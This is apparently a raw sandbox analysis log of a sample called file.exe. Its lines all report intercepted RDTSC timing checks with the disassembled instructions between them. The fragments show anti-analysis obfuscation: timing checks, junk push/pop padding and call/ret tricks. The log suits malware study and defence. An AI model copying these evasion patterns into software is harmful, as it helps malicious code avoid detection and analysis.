Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E974 second address: 86E9B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F7A9876E328h 0x0000000c popad 0x0000000d xor dword ptr [esp], 5D8E9456h 0x00000014 mov esi, ebx 0x00000016 lea ebx, dword ptr [ebp+12440503h] 0x0000001c mov dword ptr [ebp+122D27F0h], edi 0x00000022 xchg eax, ebx 0x00000023 jmp 00007F7A9876E332h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push edx 0x0000002e pop edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E9B2 second address: 86E9B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E9B6 second address: 86E9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E9BC second address: 86E9C1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881352 second address: 881368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E32Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DE0A second address: 88DE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F7A98DDD9D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DF91 second address: 88DF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DF97 second address: 88DF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DF9B second address: 88DFA7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DFA7 second address: 88DFCB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7A98DDD9D6h 0x00000008 jmp 00007F7A98DDD9E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007F7A98DDD9DEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E76F second address: 88E775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882D15 second address: 882D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007F7A98DDD9E0h 0x0000000a jmp 00007F7A98DDD9E8h 0x0000000f pop esi 0x00000010 pop esi 0x00000011 push edi 0x00000012 pushad 0x00000013 jns 00007F7A98DDD9D6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860431 second address: 860435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860435 second address: 860449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F7A98DDD9DDh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F726 second address: 88F72F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F72F second address: 88F75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F7A98DDD9DAh 0x00000018 push esi 0x00000019 pop esi 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F7A98DDD9E0h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88FB88 second address: 88FB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88FE7A second address: 88FE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F7A98DDD9D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88FE87 second address: 88FEB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7A9876E339h 0x0000000b jnl 00007F7A9876E32Ch 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895619 second address: 895642 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9E6h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7A98DDD9DFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8562E7 second address: 85630A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A9876E32Dh 0x00000009 popad 0x0000000a jp 00007F7A9876E32Ah 0x00000010 pop esi 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85630A second address: 856314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897C35 second address: 897C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897C40 second address: 897C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897DA9 second address: 897DAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897E95 second address: 897E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897FE2 second address: 897FEC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7A9876E326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C0B4 second address: 89C0BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C0BA second address: 89C0D7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7A9876E336h 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C26B second address: 89C271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C271 second address: 89C2B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E336h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pushad 0x0000000d push edx 0x0000000e jmp 00007F7A9876E32Eh 0x00000013 jng 00007F7A9876E326h 0x00000019 pop edx 0x0000001a pushad 0x0000001b jno 00007F7A9876E326h 0x00000021 push eax 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C824 second address: 89C841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A98DDD9E7h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C99F second address: 89C9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7A9876E326h 0x0000000a jmp 00007F7A9876E32Ch 0x0000000f popad 0x00000010 pop eax 0x00000011 pushad 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C9BB second address: 89C9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C9C1 second address: 89C9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C9CB second address: 89C9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CB19 second address: 89CB21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E7C3 second address: 89E7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F7A98DDD9E1h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E7E4 second address: 89E7E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E7E8 second address: 89E823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F7A98DDD9E5h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007F7A98DDD9E3h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E823 second address: 89E870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F7A9876E335h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F7A9876E328h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sbb edi, 3CCC3A87h 0x0000002e push 35D64A14h 0x00000033 push esi 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E870 second address: 89E874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EC03 second address: 89EC08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F705 second address: 89F709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F709 second address: 89F712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F84D second address: 89F8BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b pushad 0x0000000c push esi 0x0000000d jp 00007F7A98DDD9D6h 0x00000013 pop esi 0x00000014 jp 00007F7A98DDD9EAh 0x0000001a popad 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F7A98DDD9D8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov esi, dword ptr [ebp+1243F2FEh] 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F7A98DDD9DBh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1705 second address: 8A1711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jng 00007F7A9876E326h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A21B3 second address: 8A21B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A21B7 second address: 8A21BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A21BB second address: 8A21C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A21C1 second address: 8A21CB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7A9876E32Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A21CB second address: 8A2225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D2A41h] 0x0000000d push 00000000h 0x0000000f mov edi, dword ptr [ebp+122D2985h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F7A98DDD9D8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 add esi, dword ptr [ebp+122D1B72h] 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F7A98DDD9E9h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2D0D second address: 8A2D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A35E2 second address: 8A3608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 js 00007F7A98DDD9D6h 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F7A98DDD9E3h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9BBD second address: 8A9BCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9BCB second address: 8A9C45 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7A98DDD9DCh 0x00000008 js 00007F7A98DDD9D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F7A98DDD9D8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b jmp 00007F7A98DDD9E2h 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D17D0h], edi 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007F7A98DDD9D8h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 mov edi, dword ptr [ebp+1243F38Dh] 0x0000005a mov ebx, dword ptr [ebp+122D244Fh] 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push eax 0x00000065 pop eax 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9C45 second address: 8A9C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2A34 second address: 8A2A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9C4A second address: 8A9C68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F7A9876E32Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4903 second address: 8A4908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9C68 second address: 8A9C6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4908 second address: 8A490E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9C6C second address: 8A9C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACD57 second address: 8ACD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACD5B second address: 8ACD5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACD5F second address: 8ACD65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9D86 second address: 8A9D8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AADB7 second address: 8AADBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9D8C second address: 8A9DAE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F7A9876E32Ch 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7A9876E32Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ADCA7 second address: 8ADCAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AADBB second address: 8AAE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D1966h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 jg 00007F7A9876E32Ch 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov eax, dword ptr [ebp+122D07F1h] 0x0000002a mov ebx, 792AB97Ah 0x0000002f mov bx, 8511h 0x00000033 push FFFFFFFFh 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F7A9876E328h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f mov edi, edx 0x00000051 nop 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F7A9876E334h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ADCAB second address: 8ADCB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAE32 second address: 8AAE4D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F7A9876E326h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F7A9876E32Ah 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AEE6D second address: 8AEE72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ADE68 second address: 8ADE6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AEE72 second address: 8AEE7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7A98DDD9D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ADE6E second address: 8ADE72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AEE7C second address: 8AEE80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFD54 second address: 8AFD5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F7A9876E326h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0E20 second address: 8B0E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0E26 second address: 8B0E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1EA4 second address: 8B1F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 or dword ptr [ebp+122D2266h], esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F7A98DDD9D8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b jmp 00007F7A98DDD9E1h 0x00000030 push eax 0x00000031 pop edi 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F7A98DDD9D8h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e mov ebx, edi 0x00000050 clc 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push ecx 0x00000055 jp 00007F7A98DDD9D6h 0x0000005b pop ecx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1F21 second address: 8B1F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1F27 second address: 8B1F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
